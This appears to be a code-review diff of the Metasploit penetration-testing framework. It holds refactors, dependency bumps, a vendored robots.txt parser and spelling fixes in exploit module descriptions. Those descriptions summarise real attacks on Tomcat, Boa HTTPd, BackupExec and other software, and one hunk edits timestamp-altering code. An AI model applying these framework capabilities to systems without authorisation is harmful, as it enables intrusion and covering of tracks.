|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
protected
|
||||||
|
|
||||||
|
#
|
||||||
|
# Converts a date/time in the form of MM/DD/YYYY HH24:MI:SS
|
||||||
|
#
|
||||||
|
def str_to_time(str) # :nodoc:
|
||||||
|
unless str.nil?
|
||||||
|
_r, mon, day, year, hour, min, sec =
|
||||||
|
str.match("^(\\d+?)/(\\d+?)/(\\d+?) (\\d+?):(\\d+?):(\\d+?)$").to_a
|
||||||
|
end
|
||||||
|
|
||||||
|
if str.nil? || mon.nil?
|
||||||
|
raise ArgumentError, "Invalid date format, expected MM/DD/YYYY HH24:MI:SS (got #{str})"
|
||||||
|
end
|
||||||
|
|
||||||
|
Time.mktime(year, mon, day, hour, min, sec, 0)
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
}
|
|
||||||
|
|
||||||
# If any one of the four times were specified, change them.
|
|
||||||
if (modified or accessed or creation or emodified)
|
|
||||||
print_status("Setting specific MACE attributes on #{file_path}")
|
|
||||||
client.priv.fs.set_file_mace(file_path, modified, accessed,
|
|
||||||
creation, emodified)
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
protected
|
|
||||||
|
|
||||||
#
|
|
||||||
# Converts a date/time in the form of MM/DD/YYYY HH24:MI:SS
|
|
||||||
#
|
|
||||||
def str_to_time(str) # :nodoc:
|
|
||||||
r, mon, day, year, hour, min, sec = str.match("^(\\d+?)/(\\d+?)/(\\d+?) (\\d+?):(\\d+?):(\\d+?)$").to_a
|
|
||||||
|
|
||||||
if (mon == nil)
|
|
||||||
raise ArgumentError, "Invalid date format, expected MM/DD/YYYY HH24:MI:SS (got #{str})"
|
|
||||||
end
|
|
||||||
|
|
||||||
Time.mktime(year, mon, day, hour, min, sec, 0)
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -894,13 +894,21 @@ class Console::CommandDispatcher::Stdapi::Sys
|
||||||
if args.include? "-h"
|
if args.include? "-h"
|
||||||
cmd_getprivs_help
|
cmd_getprivs_help
|
||||||
end
|
end
|
||||||
print_line("=" * 60)
|
|
||||||
print_line("Enabled Process Privileges")
|
table = Rex::Text::Table.new(
|
||||||
print_line("=" * 60)
|
'Header' => 'Enabled Process Privileges',
|
||||||
|
'Indent' => 0,
|
||||||
|
'SortIndex' => 1,
|
||||||
|
'Columns' => ['Name']
|
||||||
|
)
|
||||||
|
|
||||||
|
privs = client.sys.config.getprivs
|
||||||
client.sys.config.getprivs.each do |priv|
|
client.sys.config.getprivs.each do |priv|
|
||||||
print_line(" #{priv}")
|
table << [priv]
|
||||||
end
|
end
|
||||||
print_line("")
|
|
||||||
|
print_line
|
||||||
|
print_line(table.to_s)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -191,9 +191,9 @@ class Client
|
||||||
# Closes the connection to the remote server.
|
# Closes the connection to the remote server.
|
||||||
#
|
#
|
||||||
def close
|
def close
|
||||||
if (self.conn)
|
if self.conn && !self.conn.closed?
|
||||||
self.conn.shutdown
|
self.conn.shutdown
|
||||||
self.conn.close unless self.conn.closed?
|
self.conn.close
|
||||||
end
|
end
|
||||||
|
|
||||||
self.conn = nil
|
self.conn = nil
|
||||||
|
|
|
@ -0,0 +1,162 @@
|
||||||
|
#
|
||||||
|
# Copyright (c) 2008 Kyle Maxwell, contributors
|
||||||
|
#
|
||||||
|
# Permission is hereby granted, free of charge, to any person
|
||||||
|
# obtaining a copy of this software and associated documentation
|
||||||
|
# files (the "Software"), to deal in the Software without
|
||||||
|
# restriction, including without limitation the rights to use,
|
||||||
|
# copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
# copies of the Software, and to permit persons to whom the
|
||||||
|
# Software is furnished to do so, subject to the following
|
||||||
|
# conditions:
|
||||||
|
#
|
||||||
|
# The above copyright notice and this permission notice shall be
|
||||||
|
# included in all copies or substantial portions of the Software.
|
||||||
|
#
|
||||||
|
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
||||||
|
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
|
||||||
|
# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
||||||
|
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
|
||||||
|
# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
|
||||||
|
# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
|
||||||
|
# OTHER DEALINGS IN THE SOFTWARE.
|
||||||
|
#
|
||||||
|
|
||||||
|
require "open-uri"
|
||||||
|
require "uri"
|
||||||
|
require "timeout"
|
||||||
|
require 'rex/logging/log_dispatcher'
|
||||||
|
|
||||||
|
# https://github.com/fizx/robots
|
||||||
|
class Robots
|
||||||
|
DEFAULT_TIMEOUT = 3
|
||||||
|
|
||||||
|
# Represents a parsed robots.txt file
|
||||||
|
class ParsedRobots
|
||||||
|
def initialize(uri, user_agent)
|
||||||
|
@last_accessed = Time.at(1)
|
||||||
|
|
||||||
|
io = Robots.get_robots_txt(uri, user_agent)
|
||||||
|
|
||||||
|
if !io || io.content_type != "text/plain" || io.status.first != "200"
|
||||||
|
io = StringIO.new("User-agent: *\nAllow: /\n")
|
||||||
|
end
|
||||||
|
|
||||||
|
@other = {}
|
||||||
|
@disallows = {}
|
||||||
|
@allows = {}
|
||||||
|
@delays = {} # added delays to make it work
|
||||||
|
agent = /.*/
|
||||||
|
io.each do |line|
|
||||||
|
next if line =~ /^\s*(#.*|$)/
|
||||||
|
arr = line.split(":")
|
||||||
|
key = arr.shift.to_s.downcase
|
||||||
|
value = arr.join(":").strip
|
||||||
|
value.strip!
|
||||||
|
case key
|
||||||
|
when "user-agent"
|
||||||
|
agent = to_regex(value)
|
||||||
|
when "allow"
|
||||||
|
@allows[agent] ||= []
|
||||||
|
@allows[agent] << to_regex(value)
|
||||||
|
when "disallow"
|
||||||
|
@disallows[agent] ||= []
|
||||||
|
@disallows[agent] << to_regex(value)
|
||||||
|
when "crawl-delay"
|
||||||
|
@delays[agent] = value.to_i
|
||||||
|
else
|
||||||
|
@other[key] ||= []
|
||||||
|
@other[key] << value
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
@parsed = true
|
||||||
|
end
|
||||||
|
|
||||||
|
def allowed?(uri, user_agent)
|
||||||
|
return true unless @parsed
|
||||||
|
allowed = true
|
||||||
|
path = uri.request_uri
|
||||||
|
|
||||||
|
@disallows.each do |key, value|
|
||||||
|
if user_agent =~ key
|
||||||
|
value.each do |rule|
|
||||||
|
allowed = false if path =~ rule
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
@allows.each do |key, value|
|
||||||
|
unless allowed
|
||||||
|
if user_agent =~ key
|
||||||
|
value.each do |rule|
|
||||||
|
if path =~ rule
|
||||||
|
allowed = true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if allowed && @delays[user_agent]
|
||||||
|
sleep @delays[user_agent] - (Time.now - @last_accessed)
|
||||||
|
@last_accessed = Time.now
|
||||||
|
end
|
||||||
|
|
||||||
|
return allowed
|
||||||
|
end
|
||||||
|
|
||||||
|
def other_values
|
||||||
|
@other
|
||||||
|
end
|
||||||
|
|
||||||
|
protected
|
||||||
|
|
||||||
|
def to_regex(pattern)
|
||||||
|
return /should-not-match-anything-123456789/ if pattern.strip.empty?
|
||||||
|
pattern = Regexp.escape(pattern)
|
||||||
|
pattern.gsub!(Regexp.escape("*"), ".*")
|
||||||
|
Regexp.compile("^#{pattern}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def self.get_robots_txt(uri, user_agent)
|
||||||
|
begin
|
||||||
|
Timeout.timeout(Robots.timeout) do
|
||||||
|
begin
|
||||||
|
URI.join(uri.to_s, "/robots.txt").open("User-Agent" => user_agent)
|
||||||
|
rescue StandardError
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
rescue Timeout::Error
|
||||||
|
dlog("robots.txt request timed out")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
attr_writer :timeout
|
||||||
|
|
||||||
|
def self.timeout
|
||||||
|
@timeout || DEFAULT_TIMEOUT
|
||||||
|
end
|
||||||
|
|
||||||
|
def initialize(user_agent)
|
||||||
|
@user_agent = user_agent
|
||||||
|
@parsed = {}
|
||||||
|
end
|
||||||
|
|
||||||
|
def allowed?(uri)
|
||||||
|
uri = URI.parse(uri.to_s) unless uri.is_a?(URI)
|
||||||
|
host = uri.host
|
||||||
|
@parsed[host] ||= ParsedRobots.new(uri, @user_agent)
|
||||||
|
@parsed[host].allowed?(uri, @user_agent)
|
||||||
|
end
|
||||||
|
|
||||||
|
def other_values(uri)
|
||||||
|
uri = URI.parse(uri.to_s) unless uri.is_a?(URI)
|
||||||
|
host = uri.host
|
||||||
|
@parsed[host] ||= ParsedRobots.new(uri, @user_agent)
|
||||||
|
@parsed[host].other_values
|
||||||
|
end
|
||||||
|
end
|
|
@ -70,9 +70,9 @@ Gem::Specification.new do |spec|
|
||||||
# are needed when there's no database
|
# are needed when there's no database
|
||||||
spec.add_runtime_dependency 'metasploit-model'
|
spec.add_runtime_dependency 'metasploit-model'
|
||||||
# Needed for Meterpreter
|
# Needed for Meterpreter
|
||||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.1'
|
spec.add_runtime_dependency 'metasploit-payloads', '1.3.9'
|
||||||
# Needed for the next-generation POSIX Meterpreter
|
# Needed for the next-generation POSIX Meterpreter
|
||||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.2.0'
|
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.2.2'
|
||||||
# Needed by msfgui and other rpc components
|
# Needed by msfgui and other rpc components
|
||||||
spec.add_runtime_dependency 'msgpack'
|
spec.add_runtime_dependency 'msgpack'
|
||||||
# get list of network interfaces, like eth* from OS.
|
# get list of network interfaces, like eth* from OS.
|
||||||
|
@ -171,8 +171,6 @@ Gem::Specification.new do |spec|
|
||||||
spec.add_runtime_dependency 'rex-exploitation'
|
spec.add_runtime_dependency 'rex-exploitation'
|
||||||
# Command line editing, history, and tab completion in msfconsole
|
# Command line editing, history, and tab completion in msfconsole
|
||||||
spec.add_runtime_dependency 'rb-readline'
|
spec.add_runtime_dependency 'rb-readline'
|
||||||
# Needed by anemone crawler
|
|
||||||
spec.add_runtime_dependency 'robots'
|
|
||||||
# Needed by some modules
|
# Needed by some modules
|
||||||
spec.add_runtime_dependency 'rubyzip'
|
spec.add_runtime_dependency 'rubyzip'
|
||||||
# Needed for some post modules
|
# Needed for some post modules
|
||||||
|
|
|
@ -13,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This modules exploits a remote registry access flaw in the BackupExec Windows
|
This modules exploits a remote registry access flaw in the BackupExec Windows
|
||||||
Server RPC service. This vulnerability was discovered by Pedram Amini and is based
|
Server RPC service. This vulnerability was discovered by Pedram Amini and is based
|
||||||
on the NDR stub information information posted to openrce.org.
|
on the NDR stub information posted to openrce.org.
|
||||||
Please see the action list for the different attack modes.
|
Please see the action list for the different attack modes.
|
||||||
|
|
||||||
},
|
},
|
||||||
|
|
|
@ -49,7 +49,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
}.merge(service_data)
|
}.merge(service_data)
|
||||||
|
|
||||||
login_data = {
|
login_data = {
|
||||||
last_attempted_at: DateTime.now,
|
|
||||||
core: create_credential(credential_data),
|
core: create_credential(credential_data),
|
||||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
proof: opts[:proof]
|
proof: opts[:proof]
|
||||||
|
|
|
@ -46,7 +46,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
}.merge(service_data)
|
}.merge(service_data)
|
||||||
|
|
||||||
login_data = {
|
login_data = {
|
||||||
last_attempted_at: DateTime.now,
|
|
||||||
core: create_credential(credential_data),
|
core: create_credential(credential_data),
|
||||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
proof: opts[:proof]
|
proof: opts[:proof]
|
||||||
|
|
|
@ -10,7 +10,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Intersil (Boa) HTTPd Basic Authentication Password Reset',
|
'Name' => 'Intersil (Boa) HTTPd Basic Authentication Password Reset',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
The Intersil extention in the Boa HTTP Server 0.93.x - 0.94.11
|
The Intersil extension in the Boa HTTP Server 0.93.x - 0.94.11
|
||||||
allows basic authentication bypass when the user string is greater
|
allows basic authentication bypass when the user string is greater
|
||||||
than 127 bytes long. The long string causes the password to be
|
than 127 bytes long. The long string causes the password to be
|
||||||
overwritten in memory, which enables the attacker to reset the
|
overwritten in memory, which enables the attacker to reset the
|
||||||
|
|
|
@ -13,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
|
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
|
||||||
The application has a file download vulnerability that can be exploited by an
|
The application has a file download vulnerability that can be exploited by an
|
||||||
authenticated remote attacker to download any file in the system..
|
authenticated remote attacker to download any file in the system.
|
||||||
This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13.
|
This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13.
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
|
|
|
@ -61,7 +61,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
}.merge(service_data)
|
}.merge(service_data)
|
||||||
|
|
||||||
login_data = {
|
login_data = {
|
||||||
last_attempted_at: DateTime.now,
|
|
||||||
core: create_credential(credential_data),
|
core: create_credential(credential_data),
|
||||||
status: Metasploit::Model::Login::Status::UNTRIED
|
status: Metasploit::Model::Login::Status::UNTRIED
|
||||||
}.merge(service_data)
|
}.merge(service_data)
|
||||||
|
|
|
@ -18,7 +18,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
local files. This allows the user to read any files from the FS as the
|
local files. This allows the user to read any files from the FS as the
|
||||||
user Openbravo is running as (generally not root).
|
user Openbravo is running as (generally not root).
|
||||||
|
|
||||||
This module was tested againt Openbravo ERP version 3.0MP25 and 2.50MP6.
|
This module was tested against Openbravo ERP version 3.0MP25 and 2.50MP6.
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
|
|
|
@ -12,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
super(
|
super(
|
||||||
'Name' => 'Tomcat UTF-8 Directory Traversal Vulnerability',
|
'Name' => 'Tomcat UTF-8 Directory Traversal Vulnerability',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module tests whether a directory traversal vulnerablity is present
|
This module tests whether a directory traversal vulnerability is present
|
||||||
in versions of Apache Tomcat 4.1.0 - 4.1.37, 5.5.0 - 5.5.26 and 6.0.0
|
in versions of Apache Tomcat 4.1.0 - 4.1.37, 5.5.0 - 5.5.26 and 6.0.0
|
||||||
- 6.0.16 under specific and non-default installations. The connector must have
|
- 6.0.16 under specific and non-default installations. The connector must have
|
||||||
allowLinking set to true and URIEncoding set to UTF-8. Furthermore, the
|
allowLinking set to true and URIEncoding set to UTF-8. Furthermore, the
|
||||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue